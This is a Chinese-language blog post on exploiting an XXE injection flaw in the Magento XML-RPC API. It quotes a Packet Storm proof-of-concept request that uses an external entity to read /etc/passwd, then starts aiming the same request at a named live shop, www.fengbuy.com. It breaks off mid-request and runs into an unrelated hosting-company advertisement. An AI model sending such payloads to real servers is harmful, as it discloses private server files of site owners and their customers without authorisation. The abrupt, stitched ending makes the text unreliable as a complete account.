Magento eCommerce Platform XXE Injection利用

在wooyun-zone xsser的文章zend framework文件讀取漏洞分析中有提及到magento，下面是其中的原文：

據@蟋蟀哥哥 在烏云上的漏洞報告提醒，一些開源軟件因為使用了zend framework的xml模塊功能導致存在了問題，Magento就是其中一個典型的軟件，并且已經有多個在線網店證明存在這個問題。 

@蟋蟀哥哥的漏洞在這http://www.wooyun.org/bugs/wooyun-2010-09297

0x2

今天看packetstormsecurity時看到了這個漏洞的細節：http://packetstormsecurity.org/files/114710/Magento-eCommerce-Platform-XXE-Injection.html

利用方法其中也說的很明白：

Proof of concept:
-----------------
Magento uses a vulnerable Zend_XmlRpc_Server() class (Zend\XmlRpc\Server.php)
to handle XML-RPC requests. Hence it is possible to disclose arbitrary local
files from the remote system. The following HTTP POST request to the
vulnerable XmlRpc server application illustrates the exploitation of this
vulnerability:

POST /index.php/api/xmlrpc HTTP/1.1
Host: $host

<?xml version="1.0"?>
 <!DOCTYPE foo [
  <!ELEMENT methodName ANY >
  <!ENTITY xxe SYSTEM"file:///etc/passwd" >]>
<methodCall>
 <methodName>&xxe;</methodName>
</methodCall>

0x3

現在到magento中文社區看看演示站點。

這里拿威風網為例：

用burp提交數據包如下：

POST /index.php/api/xmlrpc HTTP/1.1

Host: www.fengbuy.com

Proxy-Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1)AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1155.2 Safari/537.1
 

億恩科技地址(ADD)：鄭州市黃河路129號天一大廈608室 郵編(ZIP)：450008 傳真(FAX)：0371-60123888
   聯系：億恩小凡
   QQ：89317007
   電話:0371-63322206

服務器租用/服務器托管中國五強！虛擬主機域名注冊頂級提供商！15年品質保障！--億恩科技[ENKJ.COM]